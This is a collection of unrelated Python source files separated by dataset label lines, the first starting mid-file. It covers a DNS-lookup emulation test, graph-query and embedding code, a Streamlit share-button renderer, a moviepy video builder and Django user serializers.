'www.l.google.com': '74.125.39.106', 'www.ipv6.org': '130.237.234.40', } # Item 1 is usually empty except for hostnames fetched from /etc/hosts. GETHOSTBYADDR_RESULT = { 'bogus3': ('bogus1.there', ['bogus2', 'bogus3', 'bogus4.foo.bar'], ['1.2.3.4']), 'bogus4.foo.bar': ('bogus1.there', ['bogus2', 'bogus3', 'bogus4.foo.bar'], ['1.2.3.4']), '1.2.3.4': ('bogus1.there', ['bogus2', 'bogus3', 'bogus4.foo.bar'], ['1.2.3.4']), 'localhost': ('localhost', [], ['127.0.0.1']), '127.0.0.1': ('localhost', [], ['127.0.0.1']), 'other': ('other', ['bogus3'], ['1.2.3.5']), '1.2.3.5': ('other', ['bogus3'], ['1.2.3.5']), '127.5.6.7': ERR_HOST_NOT_FOUND, '152.66.84.8': ('fourier.szit.bme.hu', [], ['152.66.84.8']), '2001:6b0:1:ea:202:a5ff:fecd:13a6': ( 'igloo.stacken.kth.se', [], ['2001:6b0:1:ea:202:a5ff:fecd:13a6']), '74.125.39.106': ('fx-in-f106.1e100.net', [], ['74.125.39.106']), 'foo.bar.baz': ERR_NODATA, 'fourier.szit.bme.hu': ('fourier.szit.bme.hu', [], ['152.66.84.8']), 'mail.szit.bme.hu': ('fourier.szit.bme.hu', [], ['152.66.84.8']), 'www.google.com': ('fx-in-f106.1e100.net', [], ['74.125.39.106']), 'www.l.google.com': ('fx-in-f106.1e100.net', [], ['74.125.39.106']), 'www.ipv6.org': ('igloo.stacken.kth.se', [], ['130.237.234.40']), } GETFQDN_RESULT = { '1.2.3.4': 'bogus1.there', '1.2.3.5': 'other', '127.0.0.1': 'localhost', '127.5.6.7': '127.5.6.7', '152.66.84.8': 'fourier.szit.bme.hu', '2001:6b0:1:ea:202:a5ff:fecd:13a6': 'igloo.stacken.kth.se', '74.125.39.106': 'fx-in-f106.1e100.net', 'bogus3': 'bogus1.there', 'bogus4.foo.bar': 'bogus1.there', 'foo.bar.baz': 'foo.bar.baz', 'fourier.szit.bme.hu': 'fourier.szit.bme.hu', 'localhost': 'localhost', 'mail.szit.bme.hu': 'fourier.szit.bme.hu', 'other': 'other', 'www.google.com': 'fx-in-f106.1e100.net', 'www.ipv6.org': 'igloo.stacken.kth.se', 'www.l.google.com': 'fx-in-f106.1e100.net', 'unknown': 'unknown', } GETHOSTBYNAME_EX_RESULT = { '1.2.3.4': ('1.2.3.4', [], ['1.2.3.4']), '1.2.3.5': ('1.2.3.5', [], ['1.2.3.5']), '127.0.0.1': ('127.0.0.1', [], ['127.0.0.1']), '127.5.6.7': ('127.5.6.7', [], ['127.5.6.7']), '152.66.84.8': ('152.66.84.8', [], ['152.66.84.8']), '2001:6b0:1:ea:202:a5ff:fecd:13a6': ERR_ADDRFAMILY, '74.125.39.106': ('74.125.39.106', [], ['74.125.39.106']), # Incomplete emulation: socket.gethostbyname_ex would return: # 'bogus3': ('bogus1.there', # ['bogus2', 'bogus3', 'bogus4.foo.bar'], # ['1.2.3.4', '1.2.3.5']), # !! for gethostbyaddr 'bogus3': ('bogus1.there', ['bogus2', 'bogus3', 'bogus4.foo.bar'], ['1.2.3.4']), 'bogus4.foo.bar': ('bogus1.there', ['bogus2', 'bogus3', 'bogus4.foo.bar'], ['1.2.3.4']), 'foo.bar.baz': ERR_NODATA, 'fourier.szit.bme.hu': ('fourier.szit.bme.hu', [], ['152.66.84.8']), 'localhost': ('localhost', [], ['127.0.0.1']), 'mail.szit.bme.hu': ('fourier.szit.bme.hu', ['mail.szit.bme.hu'], ['152.66.84.8']), 'other': ('other', ['bogus3'], ['1.2.3.5']), # Incomplete emulation: socket.gethostbyname_ex would return: #'www.google.com': ('www.l.google.com', ['www.google.com'], # ['74.125.39.106', '74.125.39.103', # '74.125.39.147', '74.125.39.104', # '74.125.39.105', '74.125.39.99']), 'www.google.com': ('fx-in-f106.1e100.net', ['www.google.com'], ['74.125.39.106', '74.125.39.103', '74.125.39.147', '74.125.39.104', '74.125.39.105', '74.125.39.99']), # Incomplete emulation: socket.gethostbyname_ex would return: #'www.l.google.com': ('www.l.google.com', [], # ['74.125.39.106', '74.125.39.103', # '74.125.39.147', '74.125.39.104', # '74.125.39.105', '74.125.39.99']), 'www.l.google.com': ('fx-in-f106.1e100.net', ['www.l.google.com'], ['74.125.39.106', '74.125.39.103', '74.125.39.147', '74.125.39.104', '74.125.39.105', '74.125.39.99']), # Incomplete emulation: socket.gethostbyname_ex would return: #'www.ipv6.org': ('shake.stacken.kth.se', ['www.ipv6.org'], # ['130.237.234.40']), 'www.ipv6.org': ('igloo.stacken.kth.se', ['www.ipv6.org'], ['130.237.234.40']), 'unknown': ERR_NODATA, } #xx = syncless.coio.dns_resolve_reverse # !! def FakeDnsResolveIpv4(name): values = RESOLVE_IPV4_RESULT[name] if values is None: raise syncless.coio.DnsLookupError(-3, 'fake error') # name does not exist return syncless.coio.dnsresult(1, 1, values) def FakeDnsResolveReverse(name): values = RESOLVE_REVERSE_RESULT[name] if values is None: raise syncless.coio.DnsLookupError(-3, 'fake error') return syncless.coio.dnsresult(2, 1, values) def Wrap(function, *args): try: return function(*args) except socket.gaierror, e: assert type(e.args[1]) == str, repr(e.args) if e.args[0] == socket.EAI_NODATA: return ERR_NODATA elif e.args[0] == socket.EAI_NONAME: return ERR_NONAME elif e.args[0] == socket.EAI_ADDRFAMILY: return ERR_ADDRFAMILY else: assert 0, repr(e.args) except socket.herror, e: if e.args[0] == syncless.coio.HERROR_HOST_NOT_FOUND: return ERR_HOST_NOT_FOUND else: assert 0, repr(e.args) class DnsCompatTest(unittest.TestCase): def setUp(self): assert callable(getattr(syncless.coio, 'dns_resolve_ipv4', None)) syncless.coio.dns_resolve_ipv4 = FakeDnsResolveIpv4 syncless.coio.dns_resolve_reverse = FakeDnsResolveReverse syncless.coio.names_by_ip.clear() syncless.coio.names_by_nameip.clear() # TODO(pts): fake 127.5.6.7 for reverse DNS lookup. f = cStringIO.StringIO() f.write("#127.0.0.1\t \tbad1\n") f.write(" 127.0.0.1\t \tlocalhost\n") f.write("127.0.0.1\t \tbad2\n") f.write("\t \t1.2.3.4 bogus1.there\tbogus2 bogus3 bogus4.foo.bar\n") f.write("1.2.3.5 other bogus3\n") f.reset() syncless.coio.read_etc_hosts(f=f) # TODO(pts): Cleanup in tearDown. def testEtcHostsDicts(self): items1 = ['1.2.3.4', 'bogus1.there', 'bogus2', 'bogus3', 'bogus4.foo.bar'] items2 = ['127.0.0.1', 'localhost'] items3 = ['1.2.3.5', 'other', 'bogus3'] items4 = ['127.0.0.1', 'bad2'] self.assertEqual( {'1.2.3.4': items1, '127.0.0.1': items2, '1.2.3.5': items3}, syncless.coio.names_by_ip) self.assertEqual( {'1.2.3.4': items1, 'bogus1.there': items1, 'bogus2': items1, 'bad2': items4, '1.2.3.5': items3, 'other': items3, 'bogus3': items1, 'bogus4.foo.bar': items1, 'localhost': items2, '127.0.0.1': items2}, syncless.coio.names_by_nameip) def testGetHostByName(self): for name in sorted(GETHOSTBYNAME_RESULT): result = Wrap(syncless.coio.gethostbyname, name) self.assertEqual({name: GETHOSTBYNAME_RESULT[name]}, {name: result}) def testGetHostByNameEx(self): for name in sorted(GETHOSTBYNAME_EX_RESULT): result = Wrap(syncless.coio.gethostbyname_ex, name) self.assertEqual({name: GETHOSTBYNAME_EX_RESULT[name]}, {name: result}) def testGetHostByAddr(self): for name in sorted(GETHOSTBYADDR_RESULT): result = Wrap(syncless.coio.gethostbyaddr, name) self.assertEqual({name: GETHOSTBYADDR_RESULT[name]}, {name: result}) def testGetFqdn(self): for name in sorted(GETFQDN_RESULT): result = syncless.coio.getfqdn(name) # Never raises an exception. self.assertEqual({name: GETFQDN_RESULT[name]}, {name: result}) # def testZZZGen(self): # for name in sorted(GETHOSTBYNAME_EX_RESULT) + ['unknown']: # print repr(name), ':', Wrap(socket.gethostbyname_ex, name) if __name__ == '__main__': unittest.main()
nilq/baby-python
python
from pygraphblas import Matrix, BOOL, lib def rpq(g, r): kron = g.get_intersection(r) closure_matrix = Matrix.sparse(BOOL, kron.size, kron.size) for label in kron.matrices: if kron.matrices[label].nrows < kron.size: kron.matrices[label].resize(kron.size, kron.size) closure_matrix += kron.matrices[label] tmp = closure_matrix.dup() closure_matrix += closure_matrix @ closure_matrix while not tmp.iseq(closure_matrix): tmp = closure_matrix closure_matrix += closure_matrix @ closure_matrix res = Matrix.sparse(BOOL, g.size, g.size) for i, j, _ in zip(*closure_matrix.select(lib.GxB_NONZERO).to_lists()): i_g, i_r = i // r.size, i % r.size j_g, j_r = j // r.size, j % r.size res[i_g, j_g] = True return kron, res
nilq/baby-python
python
''' This file implements the Schlaufen Detection algorithm in the paper: Testing Strategic Interaction in Networks ''' from ugd.schlaufen_construction.di_schlaufen_construction_util import mark_edge, mark_node, cycle_found, random_draw from ugd.help_function.util import rand_element_of_set, del_nodes_mark def add_di_random_schlaufe(graph, schlaufen_number): # random draw of initial node (step 1) start_node = rand_element_of_set(range(graph.node_number)) cycle_node = None active_cycle_node = None working_node = start_node is_active = True is_schlaufe = False while not is_schlaufe: mark_node(graph, working_node, is_active) found, out_node = random_draw(graph, working_node, is_active) # step 2 or 4, depending on is_active if found: mark_edge(graph, working_node, out_node, is_active, schlaufen_number) working_node = out_node if cycle_found(graph, out_node, is_active): # step 3 or 5 active_cycle_node = not is_active # out_node is one step ahead cycle_node = out_node is_schlaufe = True else: is_active = not is_active else: is_schlaufe = True del_nodes_mark(graph, start_node) # but don't delete marked edges return start_node, cycle_node, active_cycle_node
nilq/baby-python
python
import pytest from asynctest import ( mock as async_mock, TestCase as AsyncTestCase, ) from aries_cloudagent.messaging.request_context import RequestContext from aries_cloudagent.messaging.responder import MockResponder from aries_cloudagent.transport.inbound.receipt import MessageReceipt from aries_cloudagent.protocols.issue_credential.v1_1.messages.credential_request import ( CredentialRequest, ) from aries_cloudagent.protocols.issue_credential.v1_1.handlers.credential_request import ( CredentialRequestHandler, ) from aries_cloudagent.storage.basic import BasicStorage from aries_cloudagent.storage.base import BaseStorage from aries_cloudagent.protocols.issue_credential.v1_1.models.credential_exchange import ( CredentialExchangeRecord, ) class TestCredentialOfferHandler(AsyncTestCase): async def test_is_saving_record(self): context = RequestContext() storage = BasicStorage() context.injector.bind_instance(BaseStorage, storage) context.connection_ready = True context.message = CredentialRequest( credential={ "credential_type": "TEST", "credential_values": {"test": "one", "value": "two"}, } ) responder = MockResponder() responder.connection_id = "1234" handler_inst = CredentialRequestHandler() await handler_inst.handle(context, responder) assert len(responder.messages) == 0 assert 1 == len(responder.webhooks) id = responder.webhooks[0][1]["credential_exchange_id"] exchange = await CredentialExchangeRecord.retrieve_by_id(context, id) assert exchange != None assert exchange.connection_id == responder.connection_id assert exchange.state == CredentialExchangeRecord.STATE_REQUEST_RECEIVED assert exchange.credential_request == context.message.credential
nilq/baby-python
python
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Thu Oct 18 07:06:38 2020 @author: daskalot """ #from doc_embedders import TfIdfTransformer as tfidf from sklearn.feature_extraction.text import CountVectorizer import string from sklearn import preprocessing import graphvite as gv import numpy as np from tqdm import tqdm import pickle import os from nltk.tokenize import word_tokenize from nltk.stem import WordNetLemmatizer from nltk.corpus import stopwords lemmatizer = WordNetLemmatizer() lemma = lemmatizer.lemmatize my_stop_words = [lemma(t) for t in stopwords.words('english')] def remove_punctuation(text): table = text.maketrans({key: None for key in string.punctuation}) text = text.translate(table) return text def tokenize(text): no_punct = remove_punctuation(text) stems = [lemma(t) for t in word_tokenize(no_punct) if not t in my_stop_words ] return stems def naive_terms(texts, n=2): print("Term finding started.") vectorizer = CountVectorizer(tokenizer = tokenize, strip_accents = 'ascii', ngram_range = (1,n))#, stop_words=my_stop_words) X = vectorizer.fit_transform(texts) terms = vectorizer.inverse_transform(X) print("Term finding finished.") return terms def wikify(unique_terms, model_name="transe"): present_terms = {} print("Wikifying started.") with open("kg/"+model_name+".pkl", "rb") as fin: model = pickle.load(fin) alias2entity = gv.dataset.wikidata5m.alias2entity entity2id = model.graph.entity2id entity_embeddings = model.solver.entity_embeddings relation2id = model.graph.relation2id relation_embeddings = model.solver.relation_embeddings alias2relation = gv.dataset.wikidata5m.alias2relation for term in unique_terms: try: if term in alias2entity: present_terms[term] = entity_embeddings[entity2id[alias2entity[term]]] except: pass try: if term in alias2relation: present_terms[term] = relation_embeddings[relation2id[alias2relation[term]]] except: pass print("Wikifying finished.") return present_terms def naive_embedd(docs, ngrams = 2, model_name = "transe"): term_candidates = naive_terms(docs) with open("kg/wikidata_aliases.pkl", "rb") as fin: entities = pickle.load(fin) with open("kg/wikidata_relations.pkl", "rb") as fin: relations = pickle.load(fin) unique_terms = set(x for c in term_candidates for x in c) unique_present = set(unique_terms).intersection(entities) doc2terms = [] for doc in term_candidates: curr_terms = [] for term in doc: if term in unique_present: curr_terms.append(term) doc2terms.append(curr_terms) present_terms = wikify(unique_present, model_name) print("Embedding started.") doc_kg_embs = [] final_terms = [] for doc in doc2terms: term2vec = {} for term in doc: if term in present_terms: term2vec[term] = present_terms[term] doc_kg_emb = make_embedding(term2vec) doc_kg_embs.append(doc_kg_emb) final_terms.append(list(term2vec.keys())) print("Embedding ended.") outputs = zip(final_terms, doc_kg_embs) return outputs def make_embedding(term2vec): if len(term2vec) == 0: return np.array([0]*512) avg = sum(list(term2vec.values())) / len(term2vec.values()) return avg def test_env(): train_text = {"text1":"Brexit (/ˈbrɛksɪt, ˈbrɛɡzɪt/;[1] a portmanteau of British and exit) is the withdrawal of the United Kingdom (UK) from the European Union (EU). Following a referendum held on 23 June 2016 in which 51.9 per cent of those voting supported leaving the EU, the Government invoked Article 50 of the Treaty on European Union, starting a two-year process which was due to conclude with the UK's exit on 29 March 2019 – a deadline which has since been extended to 31 October 2019.[2]", "text2":"Withdrawal from the EU has been advocated by both left-wing and right-wing Eurosceptics, while pro-Europeanists, who also span the politica#l spectrum, have advocated continued membership and maintaining the customs union and single market. The UK joined the European Communities (EC) in 1973 under the Conservative government of Edward Heath, with continued membership endorsed by a referendum in 1975. In the 1970s and 1980s, withdrawal from the EC was advocated mainly by the political left, with the Labour Party's 1983 election manifesto advocating full withdrawal. From the 1990s, opposition to further European integration came mainly from the right, and divisions within the Conservative Party led to rebellion over the Maastricht Treaty in 1992. The growth of the UK Independence Party (UKIP) in the early 2010s and the influence of the cross-party People's Pledge campaign have been described as influential in bringing about a referendum. The Conservative Prime Minister, David Cameron, pledged during the campaign for the 2015 general election to hold a new referendum—a promise which he fulfilled in 2016 following pressure from the Eurosceptic wing of his party. Cameron, who had campaigned to remain, resigned after the result and was succeeded by Theresa May, his former Home Secretary. She called a snap general election less than a year later but lost her overall majority. Her minority government is supported in key votes by the Democratic Unionist Party.", "text3":"The broad consensus among economists is that Brexit will likely reduce the UK's real per capita income in the medium term and long term, and that the Brexit referendum itself damaged the economy.[a] Studies on effects since the referendum show a reduction in GDP, trade and investment, as well as household losses from increased inflation. Brexit is likely to reduce immigration from European Economic Area (EEA) countries to the UK, and poses challenges for UK higher education and academic research. As of May 2019, the size of the divorce bill—the UK's inheritance of existing EU trade agreements—and relations with Ireland and other EU member states remains uncertain. The precise impact on the UK depends on whether the process will be a hard or soft Brexit."} x = naive_embedd(train_text.values()) for z,y in x: print(z) #test_env()
nilq/baby-python
python
from streamlit.components.v1 import html try: from keywords import SHARE_KEYWORD from keywords import check_keyword except: from .keywords import SHARE_KEYWORD from .keywords import check_keyword def share_parser(lines): """Parses a list of lines into a dictionary with the parsed values. :param lines: list of lines :type lines: list :return: parsed values for text and url :rtype: dict """ # Dict to store the parsed values parse_dict = { "my_text":"", "my_url":"", } for i, line in enumerate(lines): if i==0: if check_keyword(line, SHARE_KEYWORD): continue else: break elif i==1: parse_dict["my_text"] = line.strip() elif i==2: parse_dict["my_url"] = line.strip() return parse_dict def share_from_lines(lines): """Renders the share buttons from a list of lines. :param lines: list of lines :type lines: list :return: None """ parse_dict = share_parser(lines) share(my_text=parse_dict["my_text"], my_url=parse_dict["my_url"], ) return def share(my_text, my_url): """ This function takes a url and a text and displays clickable sharing buttons in html. :param my_text: the text to share on social media :type my_text: str :param my_url: the url to share on social media :type my_url: str """ # Define the css style for the sharing buttons my_css = """ .resp-sharing-button__link, .resp-sharing-button__icon { display: inline-block } .resp-sharing-button__link { text-decoration: none; color: #fff; margin: 0.5em } .resp-sharing-button { border-radius: 5px; transition: 25ms ease-out; padding: 0.5em 0.75em; font-family: Helvetica Neue,Helvetica,Arial,sans-serif } .resp-sharing-button__icon svg { width: 1em; height: 1em; margin-right: 0.4em; vertical-align: top } .resp-sharing-button--small svg { margin: 0; vertical-align: middle } /* Non solid icons get a stroke */ .resp-sharing-button__icon { stroke: #fff; fill: none } /* Solid icons get a fill */ .resp-sharing-button__icon--solid, .resp-sharing-button__icon--solidcircle { fill: #fff; stroke: none } .resp-sharing-button--twitter { background-color: #55acee } .resp-sharing-button--twitter:hover { background-color: #2795e9 } .resp-sharing-button--pinterest { background-color: #bd081c } .resp-sharing-button--pinterest:hover { background-color: #8c0615 } .resp-sharing-button--facebook { background-color: #3b5998 } .resp-sharing-button--facebook:hover { background-color: #2d4373 } .resp-sharing-button--tumblr { background-color: #35465C } .resp-sharing-button--tumblr:hover { background-color: #222d3c } .resp-sharing-button--reddit { background-color: #5f99cf } .resp-sharing-button--reddit:hover { background-color: #3a80c1 } .resp-sharing-button--google { background-color: #dd4b39 } .resp-sharing-button--google:hover { background-color: #c23321 } .resp-sharing-button--linkedin { background-color: #0077b5 } .resp-sharing-button--linkedin:hover { background-color: #046293 } .resp-sharing-button--email { background-color: #777 } .resp-sharing-button--email:hover { background-color: #5e5e5e } .resp-sharing-button--xing { background-color: #1a7576 } .resp-sharing-button--xing:hover { background-color: #114c4c } .resp-sharing-button--whatsapp { background-color: #25D366 } .resp-sharing-button--whatsapp:hover { background-color: #1da851 } .resp-sharing-button--hackernews { background-color: #FF6600 } .resp-sharing-button--hackernews:hover, .resp-sharing-button--hackernews:focus { background-color: #FB6200 } .resp-sharing-button--vk { background-color: #507299 } .resp-sharing-button--vk:hover { background-color: #43648c } .resp-sharing-button--facebook { background-color: #3b5998; border-color: #3b5998; } .resp-sharing-button--facebook:hover, .resp-sharing-button--facebook:active { background-color: #2d4373; border-color: #2d4373; } .resp-sharing-button--twitter { background-color: #55acee; border-color: #55acee; } .resp-sharing-button--twitter:hover, .resp-sharing-button--twitter:active { background-color: #2795e9; border-color: #2795e9; } .resp-sharing-button--email { background-color: #777777; border-color: #777777; } .resp-sharing-button--email:hover, .resp-sharing-button--email:active { background-color: #5e5e5e; border-color: #5e5e5e; } .resp-sharing-button--linkedin { background-color: #0077b5; border-color: #0077b5; } .resp-sharing-button--linkedin:hover, .resp-sharing-button--linkedin:active { background-color: #046293; border-color: #046293; } .resp-sharing-button--whatsapp { background-color: #25D366; border-color: #25D366; } .resp-sharing-button--whatsapp:hover, .resp-sharing-button--whatsapp:active { background-color: #1DA851; border-color: #1DA851; } .resp-sharing-button--telegram { background-color: #54A9EB; } .resp-sharing-button--telegram:hover { background-color: #4B97D1;} """ # Define the html my_html = f""" <!-- Sharingbutton Facebook --> <span> <a class="resp-sharing-button__link" href="https://facebook.com/sharer/sharer.php?u={my_url}" target="_blank" rel="noopener" aria-label=""> <div class="resp-sharing-button resp-sharing-button--facebook resp-sharing-button--small"><div aria-hidden="true" class="resp-sharing-button__icon resp-sharing-button__icon--solidcircle"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 0C5.38 0 0 5.38 0 12s5.38 12 12 12 12-5.38 12-12S18.62 0 12 0zm3.6 11.5h-2.1v7h-3v-7h-2v-2h2V8.34c0-1.1.35-2.82 2.65-2.82h2.35v2.3h-1.4c-.25 0-.6.13-.6.66V9.5h2.34l-.24 2z"/></svg> </div> </div> </a> <!-- Sharingbutton Twitter --> <a class="resp-sharing-button__link" href="https://twitter.com/intent/tweet/?text={my_text}&amp;url={my_url}" target="_blank" rel="noopener" aria-label=""> <div class="resp-sharing-button resp-sharing-button--twitter resp-sharing-button--small"><div aria-hidden="true" class="resp-sharing-button__icon resp-sharing-button__icon--solidcircle"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 0C5.38 0 0 5.38 0 12s5.38 12 12 12 12-5.38 12-12S18.62 0 12 0zm5.26 9.38v.34c0 3.48-2.64 7.5-7.48 7.5-1.48 0-2.87-.44-4.03-1.2 1.37.17 2.77-.2 3.9-1.08-1.16-.02-2.13-.78-2.46-1.83.38.1.8.07 1.17-.03-1.2-.24-2.1-1.3-2.1-2.58v-.05c.35.2.75.32 1.18.33-.7-.47-1.17-1.28-1.17-2.2 0-.47.13-.92.36-1.3C7.94 8.85 9.88 9.9 12.06 10c-.04-.2-.06-.4-.06-.6 0-1.46 1.18-2.63 2.63-2.63.76 0 1.44.3 1.92.82.6-.12 1.95-.27 1.95-.27-.35.53-.72 1.66-1.24 2.04z"/></svg> </div> </div> </a> <!-- Sharingbutton E-Mail --> <a class="resp-sharing-button__link" href="mailto:?subject={my_text}&amp;body={my_url}" target="_self" rel="noopener" aria-label=""> <div class="resp-sharing-button resp-sharing-button--email resp-sharing-button--small"><div aria-hidden="true" class="resp-sharing-button__icon resp-sharing-button__icon--solidcircle"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 0C5.38 0 0 5.38 0 12s5.38 12 12 12 12-5.38 12-12S18.62 0 12 0zm8 16c0 1.1-.9 2-2 2H6c-1.1 0-2-.9-2-2V8c0-1.1.9-2 2-2h12c1.1 0 2 .9 2 2v8z"/><path d="M17.9 8.18c-.2-.2-.5-.24-.72-.07L12 12.38 6.82 8.1c-.22-.16-.53-.13-.7.08s-.15.53.06.7l3.62 2.97-3.57 2.23c-.23.14-.3.45-.15.7.1.14.25.22.42.22.1 0 .18-.02.27-.08l3.85-2.4 1.06.87c.1.04.2.1.32.1s.23-.06.32-.1l1.06-.9 3.86 2.4c.08.06.17.1.26.1.17 0 .33-.1.42-.25.15-.24.08-.55-.15-.7l-3.57-2.22 3.62-2.96c.2-.2.24-.5.07-.72z"/></svg> </div> </div> </a> <!-- Sharingbutton LinkedIn --> <a class="resp-sharing-button__link" href="https://www.linkedin.com/shareArticle?mini=true&amp;url={my_url}&amp;title={my_text}&amp;summary={my_text}&amp;source={my_url}" target="_blank" rel="noopener" aria-label=""> <div class="resp-sharing-button resp-sharing-button--linkedin resp-sharing-button--small"><div aria-hidden="true" class="resp-sharing-button__icon resp-sharing-button__icon--solidcircle"> <svg version="1.1" x="0px" y="0px" width="24px" height="24px" viewBox="0 0 24 24" enable-background="new 0 0 24 24" xml:space="preserve"> <path d="M12,0C5.383,0,0,5.383,0,12s5.383,12,12,12s12-5.383,12-12S18.617,0,12,0z M9.5,16.5h-2v-7h2V16.5z M8.5,7.5 c-0.553,0-1-0.448-1-1c0-0.552,0.447-1,1-1s1,0.448,1,1C9.5,7.052,9.053,7.5,8.5,7.5z M18.5,16.5h-3V13c0-0.277-0.225-0.5-0.5-0.5 c-0.276,0-0.5,0.223-0.5,0.5v3.5h-3c0,0,0.031-6.478,0-7h3v0.835c0,0,0.457-0.753,1.707-0.753c1.55,0,2.293,1.12,2.293,3.296V16.5z" /> </svg> </div> </div> </a> <!-- Sharingbutton WhatsApp --> <a class="resp-sharing-button__link" href="https://wa.me/?text={my_text}%20{my_url}" target="_blank" rel="noopener" aria-label=""> <div class="resp-sharing-button resp-sharing-button--whatsapp resp-sharing-button--small"><div aria-hidden="true" class="resp-sharing-button__icon resp-sharing-button__icon--solidcircle"> <svg xmlns="http://www.w3.org/2000/svg" height="24" width="24" viewBox="0 0 24 24"><path d="m12 0c-6.6 0-12 5.4-12 12s5.4 12 12 12 12-5.4 12-12-5.4-12-12-12zm0 3.8c2.2 0 4.2 0.9 5.7 2.4 1.6 1.5 2.4 3.6 2.5 5.7 0 4.5-3.6 8.1-8.1 8.1-1.4 0-2.7-0.4-3.9-1l-4.4 1.1 1.2-4.2c-0.8-1.2-1.1-2.6-1.1-4 0-4.5 3.6-8.1 8.1-8.1zm0.1 1.5c-3.7 0-6.7 3-6.7 6.7 0 1.3 0.3 2.5 1 3.6l0.1 0.3-0.7 2.4 2.5-0.7 0.3 0.099c1 0.7 2.2 1 3.4 1 3.7 0 6.8-3 6.9-6.6 0-1.8-0.7-3.5-2-4.8s-3-2-4.8-2zm-3 2.9h0.4c0.2 0 0.4-0.099 0.5 0.3s0.5 1.5 0.6 1.7 0.1 0.2 0 0.3-0.1 0.2-0.2 0.3l-0.3 0.3c-0.1 0.1-0.2 0.2-0.1 0.4 0.2 0.2 0.6 0.9 1.2 1.4 0.7 0.7 1.4 0.9 1.6 1 0.2 0 0.3 0.001 0.4-0.099s0.5-0.6 0.6-0.8c0.2-0.2 0.3-0.2 0.5-0.1l1.4 0.7c0.2 0.1 0.3 0.2 0.5 0.3 0 0.1 0.1 0.5-0.099 1s-1 0.9-1.4 1c-0.3 0-0.8 0.001-1.3-0.099-0.3-0.1-0.7-0.2-1.2-0.4-2.1-0.9-3.4-3-3.5-3.1s-0.8-1.1-0.8-2.1c0-1 0.5-1.5 0.7-1.7s0.4-0.3 0.5-0.3z"/></svg> </div> </div> </a> <!-- Sharingbutton Telegram --> <a class="resp-sharing-button__link" href="https://telegram.me/share/url?text={my_text}&amp;url={my_url}" target="_blank" rel="noopener" aria-label=""> <div class="resp-sharing-button resp-sharing-button--telegram resp-sharing-button--small"><div aria-hidden="true" class="resp-sharing-button__icon resp-sharing-button__icon--solidcircle"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M12 23.5c6.35 0 11.5-5.15 11.5-11.5S18.35.5 12 .5.5 5.65.5 12 5.65 23.5 12 23.5zM2.505 11.053c-.31.118-.505.738-.505.738s.203.62.513.737l3.636 1.355 1.417 4.557a.787.787 0 0 0 1.25.375l2.115-1.72a.29.29 0 0 1 .353-.01L15.1 19.85a.786.786 0 0 0 .746.095.786.786 0 0 0 .487-.573l2.793-13.426a.787.787 0 0 0-1.054-.893l-15.568 6z" fill-rule="evenodd"/></svg> </div> </div> </a> </span> """ # Define button html my_share_button = f""" <style> {my_css} </style> {my_html} """ # Render html(my_share_button) return
nilq/baby-python
python
""" This file demonstrates writing tests using the pytest module. These will pass when you run "./bin/pytest app/tests.py". Replace this with more appropriate tests for your application. """ # -*- coding: utf-8 -*- import pytest class TestSuite(object): def test_run(self): pytest.skip('todo')
nilq/baby-python
python
import textwrap import uuid from moviepy.editor import * TITLE_FONT_SIZE = 30 FONT_SIZE = 30 TITLE_FONT_COLOR = 'white' BGM_PATH = 'assets/bgm.mp3' STATIC_PATH = 'assets/static.mp4' SIZE = (1280, 720) BG_COLOR = (16,16,16) VIDEO_PATH = "" FONT = 'Amiri-regular' def generate_title(text, audio_path): color_clip = ColorClip(SIZE, BG_COLOR) audio_clip = AudioFileClip(audio_path) font_size = TITLE_FONT_SIZE wrapped_text = textwrap.fill(text, width=90) txt_clip = TextClip(wrapped_text,fontsize=font_size, font=FONT, color=TITLE_FONT_COLOR, align="west") txt_clip = txt_clip.set_pos("center") clip = CompositeVideoClip([color_clip, txt_clip]) clip.audio = audio_clip clip.duration = audio_clip.duration static_clip = VideoFileClip(STATIC_PATH) clip = concatenate_videoclips([clip, static_clip]) return clip def generate_clip(post, comment): text = comment.body audio_path = comment.body_audio color_clip = ColorClip(SIZE, BG_COLOR) audio_clip = AudioFileClip(audio_path) font_size = TITLE_FONT_SIZE author_font_size = 20 wrapped_text = textwrap.fill(text, width=90) txt_clip = TextClip(wrapped_text,fontsize=font_size, font=FONT, color=TITLE_FONT_COLOR, align="west", interline=2) txt_clip = txt_clip.set_pos("center") author_clip = TextClip(f"/u/{comment.author}", fontsize=author_font_size, font=FONT, color="lightblue") author_pos = (SIZE[0]/2 - txt_clip.size[0]/2, SIZE[1]/2 - txt_clip.size[1]/2 - author_font_size - 10) author_clip = author_clip.set_pos(author_pos) score_clip = TextClip(f"{comment.score} points", fontsize=author_font_size, font=FONT, color="grey") score_pos = (author_pos[0] + author_clip.size[0] + 20, author_pos[1]) score_clip = score_clip.set_pos(score_pos) clip = CompositeVideoClip([color_clip, txt_clip, author_clip, score_clip]) clip.audio = audio_clip clip.duration = audio_clip.duration static_clip = VideoFileClip(STATIC_PATH) clip = concatenate_videoclips([clip, static_clip]) return clip def generate_video(context): post = context["post"] clips = [] clips.append(generate_title(post.title, post.title_audio)) for comment in post.comments: comment_clip = generate_clip(post, comment) # overlay reply if comment.reply: # TODO this pass clips.append(comment_clip) video = concatenate_videoclips(clips) background_audio_clip = AudioFileClip(BGM_PATH) background_audio_clip = afx.audio_loop(background_audio_clip, duration=video.duration) background_audio_clip = background_audio_clip.fx(afx.volumex, 0.15) video.audio = CompositeAudioClip([video.audio, background_audio_clip]) video_id = uuid.uuid4() path = f"{VIDEO_PATH}{video_id}.mp4" context["video_path"] = path context["video_id"] = video_id video.write_videofile(path, fps=24, codec='libx264', threads=4)
nilq/baby-python
python
from rest_framework import serializers from django.contrib.auth.models import User class UserSerializer(serializers.ModelSerializer): class Meta: model = User fields = ['username', 'password'] def create(self, validated_data): user = User(username=validated_data.get('username')) user.set_password(validated_data.get('password')) user.save() return User(**validated_data) def update(self, instance, validated_data): instance.set_password(validated_data.get('password')) return instance class AdminUserSerializer(serializers.ModelSerializer): class Meta: model = User fields = ['username', 'password', 'is_superuser'] def create(self, validated_data): user = User(username=validated_data.get('username')) user.set_password(validated_data.get('password')) user.is_superuser = True user.save() return User(**validated_data) def update(self, instance, validated_data): instance.set_password(validated_data.get('password')) return instance
nilq/baby-python
python
